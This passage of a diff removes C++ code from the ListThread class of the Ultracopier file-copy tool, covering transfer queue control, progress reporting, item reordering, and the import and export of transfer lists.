- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->pause();
- index++;
- }
- emit isInPause(true);
-}
-
-void ListThread::resume()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(!putInPause)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Seam already resumed!");
- return;
- }
- putInPause=false;
- startGeneralTransfer();
- doNewActions_start_transfer();
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->resume();
- index++;
- }
- emit isInPause(false);
-}
-
-void ListThread::skip(const quint64 &id)
-{
- skipInternal(id);
-// emit newActionOnList();
-}
-
-bool ListThread::skipInternal(const quint64 &id)
-{
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- if(transferThreadList.at(index)->transferId==id)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("skip one transfer: %1").arg(id));
- transferThreadList.at(index)->skip();
- return true;
- }
- index++;
- }
- int_for_internal_loop=0;
- loop_size=actionToDoListTransfer.size();
- while(int_for_internal_loop<loop_size)
- {
- if(actionToDoListTransfer.at(int_for_internal_loop).id==id)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("[%1] remove at not running, for id: %2").arg(int_for_internal_loop).arg(id));
- returnActionOnCopyList newAction;
- newAction.type=RemoveItem;
- newAction.addAction.id=id;
- newAction.userAction.position=int_for_internal_loop;
- actionDone << newAction;
- actionToDoListTransfer.removeAt(int_for_internal_loop);
- if(actionToDoListTransfer.size()==0 && actionToDoListInode.size()==0 && actionToDoListInode_afterTheTransfer.size()==0)
- updateTheStatus();
- return true;
- }
- int_for_internal_loop++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("skip transfer not found: %1").arg(id));
- return false;
-}
-
-void ListThread::cancel()
-{
- if(stopIt)
- {
- waitCancel.release();
- return;
- }
- stopIt=true;
- int index=0;
- loop_size=transferThreadList.size();
- while(index<loop_size)
- {
- transferThreadList.at(index)->stop();
- delete transferThreadList.at(index);//->deleteLayer();
- transferThreadList[index]=NULL;
- index++;
- }
- index=0;
- loop_size=scanFileOrFolderThreadsPool.size();
- while(index<loop_size)
- {
- scanFileOrFolderThreadsPool.at(index)->stop();
- delete scanFileOrFolderThreadsPool.at(index);//->deleteLayer();
- scanFileOrFolderThreadsPool[index]=NULL;
- index++;
- }
- quit();
- waitCancel.release();
- emit canBeDeleted();
-}
-
-//speed limitation
-qint64 ListThread::getSpeedLimitation()
-{
- return maxSpeed;
-}
-
-bool ListThread::setSpeedLimitation(const qint64 &speedLimitation)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"maxSpeed: "+QString::number(speedLimitation));
- maxSpeed=speedLimitation;
- int_for_loop=0;
- loop_size=transferThreadList.size();
- while(int_for_loop<loop_size)
- {
- transferThreadList.at(int_for_loop)->setMaxSpeed(speedLimitation/ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER);
- int_for_loop++;
- }
- return true;
-}
-
-void ListThread::updateTheStatus()
-{
- /*if(threadOfTheTransfer.haveContent())
- copy=true;*/
- updateTheStatus_listing=scanFileOrFolderThreadsPool.size()>0;
- updateTheStatus_copying=actionToDoListTransfer.size()>0 || actionToDoListInode.size()>0 || actionToDoListInode_afterTheTransfer.size()>0;
- if(updateTheStatus_copying && updateTheStatus_listing)
- updateTheStatus_action_in_progress=CopyingAndListing;
- else if(updateTheStatus_listing)
- updateTheStatus_action_in_progress=Listing;
- else if(updateTheStatus_copying)
- updateTheStatus_action_in_progress=Copying;
- else
- updateTheStatus_action_in_progress=Idle;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"emit actionInProgess("+QString::number(updateTheStatus_action_in_progress)+")");
- emit actionInProgess(updateTheStatus_action_in_progress);
- if(updateTheStatus_action_in_progress==Idle)
- sendActionDone();
-}
-
-//set data local to the thread
-void ListThread::setAlwaysFileExistsAction(FileExistsAction alwaysDoThisActionForFileExists)
-{
- this->alwaysDoThisActionForFileExists=alwaysDoThisActionForFileExists;
- int_for_loop=0;
- loop_size=transferThreadList.size();
- while(int_for_loop<loop_size)
- {
- transferThreadList.at(int_for_loop)->setAlwaysFileExistsAction(alwaysDoThisActionForFileExists);
- int_for_loop++;
- }
-}
-
-//mk path to do
-quint64 ListThread::addToMkPath(const QString& folder)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"folder: "+folder);
- actionToDoInode temp;
- temp.type = ActionType_MkPath;
- temp.id = generateIdNumber();
- temp.folder.setFile(folder);
- temp.isRunning = false;
- actionToDoListInode << temp;
- return temp.id;
-}
-
-//add rm path to do
-void ListThread::addToRmPath(const QString& folder,const int& inodeToRemove)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"folder: "+folder+",inodeToRemove: "+QString::number(inodeToRemove));
- actionToDoInode temp;
- temp.type = ActionType_RmPath;
- temp.id = generateIdNumber();
- temp.size = inodeToRemove;
- temp.folder.setFile(folder);
- temp.isRunning = false;
- if(inodeToRemove==0)
- actionToDoListInode << temp;
- else
- actionToDoListInode_afterTheTransfer << temp;
-}
-
-//rsync rm
-void ListThread::addToRmForRsync(const QString& inode)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"inode: "+inode);
- actionToDoInode temp;
- temp.type = ActionType_RmSync;
- temp.id = generateIdNumber();
- temp.folder.setFile(inode);
- temp.isRunning = false;
- actionToDoListInode << temp;
-}
-
-//send action done
-void ListThread::sendActionDone()
-{
- if(actionDone.size()>0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit newActionOnList(actionDone);
- actionDone.clear();
- }
-}
-
-//send progression
-void ListThread::sendProgression()
-{
- if(actionToDoListTransfer.size()==0)
- return;
- oversize=0;
- currentProgression=0;
- int_for_loop=0;
- loop_size=transferThreadList.size();
- while(int_for_loop<loop_size)
- {
- temp_transfer_thread=transferThreadList.at(int_for_loop);
- if(temp_transfer_thread->getStat()==TransferStat_Transfer || temp_transfer_thread->getStat()==TransferStat_Checksum)
- {
- copiedSize=temp_transfer_thread->copiedSize();
-
- //for the general progression
- currentProgression+=copiedSize;
-
- //the oversize (when the file is bigger after/during the copy then what was during the listing)
- if(copiedSize>(qint64)temp_transfer_thread->transferSize)
- localOverSize=copiedSize-temp_transfer_thread->transferSize;
- else
- localOverSize=0;
-
- //the current size copied
- totalSize=temp_transfer_thread->transferSize+localOverSize;
- if(temp_transfer_thread->getStat()==TransferStat_Checksum)
- tempItem.current=temp_transfer_thread->realByteTransfered();
- else
- tempItem.current=copiedSize;
- tempItem.id=temp_transfer_thread->transferId;
- tempItem.total=totalSize;
- progressionList << tempItem;
-
- //add the oversize to the general progression
- oversize+=localOverSize;
- }
- int_for_loop++;
- }
- emit pushFileProgression(progressionList);
- progressionList.clear();
- emit pushGeneralProgression(bytesTransfered+currentProgression,bytesToTransfer+oversize);
- realByteTransfered();
-}
-
-//send the progression, after full reset of the interface (then all is empty)
-void ListThread::syncTransferList_internal()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit syncReady();
- actionDone.clear();
- //do list operation
- TransferThread *transferThread;
- loop_size=actionToDoListTransfer.size();
- loop_sub_size=transferThreadList.size();
- //this loop to have at max ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT*ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT, not ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT*transferThreadList.size()
- for(int_for_loop=0; int_for_loop<loop_size; ++int_for_loop) {
- const actionToDoTransfer &item=actionToDoListTransfer.at(int_for_loop);
- returnActionOnCopyList newAction;
- newAction.type = PreOperation;
- newAction.addAction.id = item.id;
- newAction.addAction.sourceFullPath = item.source.absoluteFilePath();
- newAction.addAction.sourceFileName = item.source.fileName();
- newAction.addAction.destinationFullPath = item.destination.absoluteFilePath();
- newAction.addAction.destinationFileName = item.destination.fileName();
- newAction.addAction.size = item.size;
- newAction.addAction.mode = item.mode;
- actionDone << newAction;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("id: %1, size: %2, name: %3, size2: %4").arg(item.id).arg(item.size).arg(item.source.absoluteFilePath()).arg(newAction.addAction.size));
- if(item.isRunning)
- {
- for(int_for_internal_loop=0; int_for_internal_loop<loop_sub_size; ++int_for_internal_loop) {
- transferThread=transferThreadList.at(int_for_internal_loop);
- returnActionOnCopyList newAction;
- newAction.type = PreOperation;
- newAction.addAction.id = item.id;
- newAction.addAction.sourceFullPath = item.source.absoluteFilePath();
- newAction.addAction.sourceFileName = item.source.fileName();
- newAction.addAction.destinationFullPath = item.destination.absoluteFilePath();
- newAction.addAction.destinationFileName = item.destination.fileName();
- newAction.addAction.size = item.size;
- newAction.addAction.mode = item.mode;
- actionDone << newAction;
- if(transferThread->getStat()!=TransferStat_PreOperation)
- {
- returnActionOnCopyList newAction;
- switch(transferThread->getStat())
- {
- case TransferStat_Transfer:
- newAction.type=Transfer;
- break;
- case TransferStat_PostTransfer:
- newAction.type=PostOperation;
- break;
- default:
- break;
- }
- newAction.addAction.id = item.id;
- actionDone << newAction;
- }
- }
- }
- }
-}
-
-//add file transfer to do
-quint64 ListThread::addToTransfer(const QFileInfo& source,const QFileInfo& destination,const CopyMode& mode)
-{
- //add to transfer list
- numberOfTransferIntoToDoList++;
- bytesToTransfer+= source.size();
- actionToDoTransfer temp;
- temp.id = generateIdNumber();
- temp.size = source.size();
- temp.source = source;
- temp.destination= destination;
- temp.mode = mode;
- temp.isRunning = false;
- actionToDoListTransfer << temp;
- //push the new transfer to interface
- returnActionOnCopyList newAction;
- newAction.type = AddingItem;
- newAction.addAction.id = temp.id;
- newAction.addAction.sourceFullPath = source.absoluteFilePath();
- newAction.addAction.sourceFileName = source.fileName();
- newAction.addAction.destinationFullPath = destination.absoluteFilePath();
- newAction.addAction.destinationFileName = destination.fileName();
- newAction.addAction.size = temp.size;
- newAction.addAction.mode = mode;
- actionDone << newAction;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("source: %1, destination: %2, add entry: %3, size: %4, size2: %5").arg(source.absoluteFilePath()).arg(destination.absoluteFilePath()).arg(temp.id).arg(temp.size).arg(newAction.addAction.size));
- return temp.id;
-}
-
-//generate id number
-quint64 ListThread::generateIdNumber()
-{
- idIncrementNumber++;
- if(idIncrementNumber>(((quint64)1024*1024)*1024*1024*2))
- idIncrementNumber=0;
- return idIncrementNumber;
-}
-
-//warning the first entry is accessible will copy
-void ListThread::removeItems(const QList<int> &ids)
-{
- for(int i=0;i<ids.size();i++)
- skipInternal(ids.at(i));
-// emit newActionOnList();
-}
-
-//put on top
-void ListThread::moveItemsOnTop(QList<int> ids)
-{
- if(actionToDoListTransfer.size()<=1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"list size is empty");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //do list operation
- int indexToMove=0;
- loop_size=actionToDoListTransfer.size();
- for (int i=0; i<loop_size; ++i) {
- if(ids.contains(actionToDoListTransfer.at(i).id))
- {
- ids.removeOne(actionToDoListTransfer.at(i).id);
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("move item ")+QString::number(i)+" to "+QString::number(indexToMove));
- returnActionOnCopyList newAction;
- newAction.type=MoveItem;
- newAction.addAction.id=actionToDoListTransfer.at(i).id;
- newAction.userAction.moveAt=indexToMove;
- newAction.userAction.position=i;
- actionDone << newAction;
- actionToDoListTransfer.move(i,indexToMove);
- indexToMove++;
- if(ids.size()==0)
- {
- //emit newActionOnList();
- return;
- }
- }
- }
-// emit newActionOnList();
-}
-
-//move up
-void ListThread::moveItemsUp(QList<int> ids)
-{
- if(actionToDoListTransfer.size()<=1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"list size is empty");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //do list operation
- int lastGoodPositionExtern=0;
- int lastGoodPositionReal=0;
- bool haveGoodPosition=false;
- bool haveChanged=false;
- loop_size=actionToDoListTransfer.size();
- for (int i=0; i<loop_size; ++i) {
- if(ids.contains(actionToDoListTransfer.at(i).id))
- {
- if(haveGoodPosition)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("move item ")+QString::number(i)+" to "+QString::number(i-1));
- returnActionOnCopyList newAction;
- newAction.type=MoveItem;
- newAction.addAction.id=actionToDoListTransfer.at(i).id;
- newAction.userAction.moveAt=lastGoodPositionExtern;
- newAction.userAction.position=i;
- actionDone << newAction;
- actionToDoListTransfer.swap(i,lastGoodPositionReal);
- haveChanged=true;
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Try move up false, item ")+QString::number(i));
- ids.removeOne(actionToDoListTransfer.at(i).id);
- if(ids.size()==0)
- {
-/* if(haveChanged)
- emit newActionOnList();*/
- return;
- }
- }
- else
- {
- lastGoodPositionExtern++;
- lastGoodPositionReal=i;
- haveGoodPosition=true;
- }
- }
- //emit newActionOnList();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-//move down
-void ListThread::moveItemsDown(QList<int> ids)
-{
- if(actionToDoListTransfer.size()<=1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"list size is empty");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //do list operation
- int lastGoodPositionExtern=numberOfTransferIntoToDoList;
- int lastGoodPositionReal=0;
- bool haveGoodPosition=false;
- bool haveChanged=false;
- for (int i=actionToDoListTransfer.size()-1; i>=0; --i) {
- if(ids.contains(actionToDoListTransfer.at(i).id))
- {
- if(haveGoodPosition)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("move item ")+QString::number(i)+" to "+QString::number(i+1));
- returnActionOnCopyList newAction;
- newAction.type=MoveItem;
- newAction.addAction.id=actionToDoListTransfer.at(i).id;
- newAction.userAction.moveAt=lastGoodPositionReal;
- newAction.userAction.position=i;
- actionDone << newAction;
- actionToDoListTransfer.swap(i,lastGoodPositionReal);
- haveChanged=true;
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Try move up false, item ")+QString::number(i));
- }
- ids.removeOne(actionToDoListTransfer.at(i).id);
- if(ids.size()==0)
- {
-/* if(haveChanged)
- emit newActionOnList();*/
- return;
- }
- }
- else
- {
- lastGoodPositionExtern--;
- lastGoodPositionReal=i;
- haveGoodPosition=true;
- }
- }
- //emit newActionOnList();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-//put on bottom
-void ListThread::moveItemsOnBottom(QList<int> ids)
-{
- if(actionToDoListTransfer.size()<=1)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"list size is empty");
- return;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //do list operation
- int lastGoodPositionExtern=numberOfTransferIntoToDoList;
- int lastGoodPositionReal=actionToDoListTransfer.size()-1;
- for (int i=lastGoodPositionReal; i>=0; --i) {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Check action on item ")+QString::number(i));
- if(ids.contains(actionToDoListTransfer.at(i).id))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("move item ")+QString::number(i)+" to "+QString::number(lastGoodPositionReal));
- ids.removeOne(actionToDoListTransfer.at(i).id);
- returnActionOnCopyList newAction;
- newAction.type=MoveItem;
- newAction.addAction.id=actionToDoListTransfer.at(i).id;
- newAction.userAction.moveAt=lastGoodPositionExtern;
- newAction.userAction.position=i;
- actionDone << newAction;
- actionToDoListTransfer.move(i,lastGoodPositionReal);
- lastGoodPositionReal--;
- lastGoodPositionExtern--;
- if(ids.size()==0)
- {
-// emit newActionOnList();
- return;
- }
- }
- }
-// emit newActionOnList();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"stop");
-}
-
-/** \brief give the forced mode, to export/import transfer list */
-void ListThread::forceMode(const CopyMode &mode)
-{
- if(mode==Copy)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Force mode to copy"));
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Force mode to move"));
- this->mode=mode;
- forcedMode=true;
-}
-
-void ListThread::exportTransferList(const QString &fileName)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QFile transferFile(fileName);
- if(transferFile.open(QIODevice::WriteOnly|QIODevice::Truncate))
- {
- transferFile.write(QString("Ultracopier-0.3;Transfer-list;").toUtf8());
- if(!forcedMode)
- transferFile.write(QString("Transfer;").toUtf8());
- else
- {
- if(mode==Copy)
- transferFile.write(QString("Copy;").toUtf8());
- else
- transferFile.write(QString("Move;").toUtf8());
- }
- transferFile.write(QString("Ultracopier-0.3\n").toUtf8());
- bool haveError=false;
- int size=actionToDoListTransfer.size();
- for (int index=0;index<size;++index) {
- if(actionToDoListTransfer.at(index).mode==Copy)
- {
- if(!forcedMode || mode==Copy)
- {
- if(forcedMode)
- transferFile.write(QString("%1;%2\n").arg(actionToDoListTransfer.at(index).source.absoluteFilePath()).arg(actionToDoListTransfer.at(index).destination.absoluteFilePath()).toUtf8());
- else
- transferFile.write(QString("Copy;%1;%2\n").arg(actionToDoListTransfer.at(index).source.absoluteFilePath()).arg(actionToDoListTransfer.at(index).destination.absoluteFilePath()).toUtf8());
- }
- else
- haveError=true;
- }
- else if(actionToDoListTransfer.at(index).mode==Move)
- {
- if(!forcedMode || mode==Move)
- {
- if(forcedMode)
- transferFile.write(QString("Move;%1;%2\n").arg(actionToDoListTransfer.at(index).source.absoluteFilePath()).arg(actionToDoListTransfer.at(index).destination.absoluteFilePath()).toUtf8());
- else
- transferFile.write(QString("%1;%2\n").arg(actionToDoListTransfer.at(index).source.absoluteFilePath()).arg(actionToDoListTransfer.at(index).destination.absoluteFilePath()).toUtf8());
- }
- else
- haveError=true;
- }
- }
- if(haveError)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Unable do to move or copy item into wrong forced mode: %1").arg(transferFile.errorString()));
- emit errorTransferList(tr("Unable do to move or copy item into wrong forced mode: %1").arg(transferFile.errorString()));
- }
- transferFile.close();
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Unable to save the transfer list: %1").arg(transferFile.errorString()));
- emit errorTransferList(tr("Unable to save the transfer list: %1").arg(transferFile.errorString()));
- return;
- }
-}
-
-void ListThread::importTransferList(const QString &fileName)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QFile transferFile(fileName);
- if(transferFile.open(QIODevice::ReadOnly))
- {
- QString content;
- QByteArray data=transferFile.readLine(64);
- if(data.size()<=0)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Problem at the reading, or file size is null"));
- emit errorTransferList(tr("Problem at the reading, or file size is null"));
- return;
- }
- content=QString::fromUtf8(data);
- if(content!="Ultracopier-0.3;Transfer-list;Transfer;Ultracopier-0.3\n" && content!="Ultracopier-0.3;Transfer-list;Copy;Ultracopier-0.3\n" && content!="Ultracopier-0.3;Transfer-list;Move;Ultracopier-0.3\n")
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Wrong header: \"%1\"").arg(content));
- emit errorTransferList(tr("Wrong header: \"%1\"").arg(content));
- return;
- }
- bool transferListMixedMode=false;
- if(content=="Ultracopier-0.3;Transfer-list;Transfer;Ultracopier-0.3\n")
- {
- if(forcedMode)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("The transfer list is in mixed mode, but this instance is not in this mode"));
- emit errorTransferList(tr("The transfer list is in mixed mode, but this instance is not in this mode"));
- return;
- }
- else
- transferListMixedMode=true;
- }
- if(content=="Ultracopier-0.3;Transfer-list;Copy;Ultracopier-0.3\n" && (forcedMode && mode==Move))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("The transfer list is in copy mode, but this instance is not in this mode: forcedMode: %1, mode: %2").arg(forcedMode).arg(mode));
- emit errorTransferList(tr("The transfer list is in copy mode, but this instance is not in this mode"));
- return;
- }
- if(content=="Ultracopier-0.3;Transfer-list;Move;Ultracopier-0.3\n" && (forcedMode && mode==Copy))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("The transfer list is in move mode, but this instance is not in this mode: forcedMode: %1, mode: %2").arg(forcedMode).arg(mode));
- emit errorTransferList(tr("The transfer list is in move mode, but this instance is not in this mode"));
- return;
- }
- bool errorFound=false;
- QRegExp correctLine;
- if(transferListMixedMode)
- correctLine=QRegExp("^(Copy|Move);[^;]+;[^;]+\n$");
- else
- correctLine=QRegExp("^[^;]+;[^;]+\n$");
- QStringList args;
- CopyMode tempMode;
- do
- {
- data=transferFile.readLine(65535*2);
- if(data.size()>0)
- {
- content=QString::fromUtf8(data);
- //do the import here
- if(content.contains(correctLine))
- {
- content.remove("\n");
- args=content.split(";");
- if(forcedMode)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("New data to import in forced mode: %2,%3").arg(args.at(0)).arg(args.at(1)));
- addToTransfer(QFileInfo(args.at(0)),QFileInfo(args.at(1)),mode);
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("New data to import: %1,%2,%3").arg(args.at(0)).arg(args.at(1)).arg(args.at(2)));
- if(args.at(0)=="Copy")
- tempMode=Copy;
- else
- tempMode=Move;
- addToTransfer(QFileInfo(args.at(1)),QFileInfo(args.at(2)),tempMode);
- }
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Wrong line syntax: %1").arg(content));
- errorFound=true;
- }
- }
- }
- while(data.size()>0);
- transferFile.close();
- if(errorFound)
- emit warningTransferList(tr("Some error have been found during the line parsing"));
-// emit newActionOnList();
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Unable to open the transfer list: %1").arg(transferFile.errorString()));
- emit errorTransferList(tr("Unable to open the transfer list: %1").arg(transferFile.errorString()));
- return;
- }
-}
-
-//do new actions
-void ListThread::doNewActions_start_transfer()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("actionToDoListTransfer.size(): %1, numberOfTranferRuning: %2").arg(actionToDoListTransfer.size()).arg(numberOfTranferRuning));
- if(stopIt || putInPause)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //lunch the transfer in WaitForTheTransfer
- int_for_loop=0;
- loop_size=transferThreadList.size();
- while(int_for_loop<loop_size && numberOfTranferRuning<ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER)
- {
- if(transferThreadList.at(int_for_loop)->getStat()==TransferStat_WaitForTheTransfer)
- {
- transferThreadList.at(int_for_loop)->startTheTransfer();
- numberOfTranferRuning++;
- }
- int_for_loop++;
- }
- int_for_loop=0;
- while(int_for_loop<loop_size && numberOfTranferRuning<ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER)
- {
- if(transferThreadList.at(int_for_loop)->getStat()==TransferStat_PreOperation)
- {
- transferThreadList.at(int_for_loop)->startTheTransfer();
- numberOfTranferRuning++;
- }
- int_for_loop++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"numberOfTranferRuning: "+QString::number(numberOfTranferRuning));
-}
-
-/** \brief lunch the pre-op or inode op
- 1) locate the next next item to do into the both list
- 1a) optimisation posible on the mkpath/rmpath
- 2) determine what need be lunched
- 3) lunch it, rerun the 2)
- */
-void ListThread::doNewActions_inode_manipulation()
-{
- //ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("actionToDoList.size(): %1").arg(actionToDoList.size()));
- if(stopIt || putInPause)
- return;
- //ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- //lunch the pre-op or inode op
- int_for_loop=0;
- int_for_internal_loop=0;
- number_rm_path_moved=0;
- int_for_transfer_thread_search=0;
- actionToDoListTransfer_count=actionToDoListTransfer.count();
- actionToDoListInode_count=actionToDoListInode.count();
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- //search the next transfer action to do
- while(int_for_loop<actionToDoListTransfer_count)
- {
- if(!actionToDoListTransfer[int_for_loop].isRunning)
- {
- //search the next inode action to do
- while(int_for_internal_loop<actionToDoListInode_count)
- {
- if(!actionToDoListInode[int_for_internal_loop].isRunning)
- {
- if(actionToDoListTransfer[int_for_loop].id<actionToDoListInode[int_for_internal_loop].id)
- {
- //do the tranfer action in the next code
- break;
- }
- else
- {
- //do the inode action
- #include "ListThread_InodeAction.cpp"
- }
- }
- int_for_internal_loop++;
- }
- actionToDoTransfer& currentActionToDoTransfer=actionToDoListTransfer[int_for_loop];
- //do the tranfer action
- while(int_for_transfer_thread_search<loop_sub_size_transfer_thread_search)
- {
- /**
- transferThreadList.at(int_for_transfer_thread_search)->transferId==0) /!\ important!
- Because the other thread can have call doNewAction before than this thread have the finish event parsed!
- I this case it lose all data
- */
- currentTransferThread=transferThreadList[int_for_transfer_thread_search];
- if(currentTransferThread->getStat()==TransferStat_Idle && currentTransferThread->transferId==0) // /!\ important!
- {
- currentTransferThread->transferId=currentActionToDoTransfer.id;
- currentTransferThread->transferSize=currentActionToDoTransfer.size;
- currentTransferThread->setFiles(
- currentActionToDoTransfer.source.absoluteFilePath(),
- currentActionToDoTransfer.size,
- currentActionToDoTransfer.destination.absoluteFilePath(),
- currentActionToDoTransfer.mode
- );
- currentActionToDoTransfer.isRunning=true;
-
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("[%1] id: %2 is idle, use it for %3").arg(int_for_loop).arg(currentTransferThread->transferId).arg(currentActionToDoTransfer.destination.absoluteFilePath()));
-
- /// \note wrong position? Else write why it's here
- returnActionOnCopyList newAction;
- newAction.type = PreOperation;
- newAction.addAction.id = currentActionToDoTransfer.id;
- newAction.addAction.sourceFullPath = currentActionToDoTransfer.source.absoluteFilePath();
- newAction.addAction.sourceFileName = currentActionToDoTransfer.source.fileName();
- newAction.addAction.destinationFullPath = currentActionToDoTransfer.destination.absoluteFilePath();
- newAction.addAction.destinationFileName = currentActionToDoTransfer.destination.fileName();
- newAction.addAction.size = currentActionToDoTransfer.size;
- newAction.addAction.mode = currentActionToDoTransfer.mode;
- actionDone << newAction;
- int_for_transfer_thread_search++;
- break;
- }
- int_for_transfer_thread_search++;
- }
- if(int_for_internal_loop==loop_sub_size_transfer_thread_search)
- {
- /// \note Can be normal when all thread is not initialized
- //ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"unable to found free thread to do the transfer");
- break;
- }
- numberOfInodeOperation++;
- if(numberOfInodeOperation>=ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
- return;
- }
- int_for_loop++;
- }
- //search the next inode action to do
- while(int_for_internal_loop<actionToDoListInode_count)
- {
- if(!actionToDoListInode[int_for_internal_loop].isRunning)
- {
- //do the inode action
- #include "ListThread_InodeAction.cpp"
- }
- int_for_internal_loop++;
- }
- //error checking
- if((actionToDoListTransfer_count+actionToDoListInode_count)>ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("The index have been detected as out of max range: %1>%2").arg(actionToDoListTransfer_count+actionToDoListInode_count).arg(ULTRACOPIER_PLUGIN_MAXPARALLELINODEOPT));
- return;
- }
-}
-
-//restart transfer if it can
-void ListThread::restartTransferIfItCan()
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- TransferThread *transfer=qobject_cast<TransferThread *>(QObject::sender());
- if(transfer==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("transfer thread not located!"));
- return;
- }
- if(numberOfTranferRuning<ULTRACOPIER_PLUGIN_MAXPARALLELTRANFER && transfer->getStat()==TransferStat_WaitForTheTransfer)
- {
- transfer->startTheTransfer();
- numberOfTranferRuning++;
- }
- doNewActions_start_transfer();
-}
-
-/// \brief update the transfer stat
-void ListThread::newTransferStat(TransferStat stat,quint64 id)
-{
- returnActionOnCopyList newAction;
- switch(stat)
- {
- case TransferStat_Idle:
- return;
- break;
- case TransferStat_PreOperation:
- return;
- break;
- case TransferStat_WaitForTheTransfer:
- return;
- break;
- case TransferStat_Transfer:
- newAction.type=Transfer;
- break;
- case TransferStat_PostTransfer:
- case TransferStat_PostOperation:
- newAction.type=PostOperation;
- break;
- case TransferStat_Checksum:
- newAction.type=CustomOperation;
- break;
- default:
- return;
- break;
- }
- newAction.addAction.id = id;
- actionDone << newAction;
-}
-
-void ListThread::set_osBufferLimit(unsigned int osBufferLimit)
-{
- this->osBufferLimit=osBufferLimit;
- int index=0;
- loop_sub_size_transfer_thread_search=transferThreadList.size();
- while(index<loop_sub_size_transfer_thread_search)
- {
- transferThreadList.at(index)->set_osBufferLimit(osBufferLimit);
- index++;
- }
-}
-
-void ListThread::set_setFilters(QList<Filters_rules> include,QList<Filters_rules> exclude)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("include.size(): %1, exclude.size(): %2").arg(include.size()).arg(exclude.size()));
- this->include=include;
- this->exclude=exclude;
- int index=0;
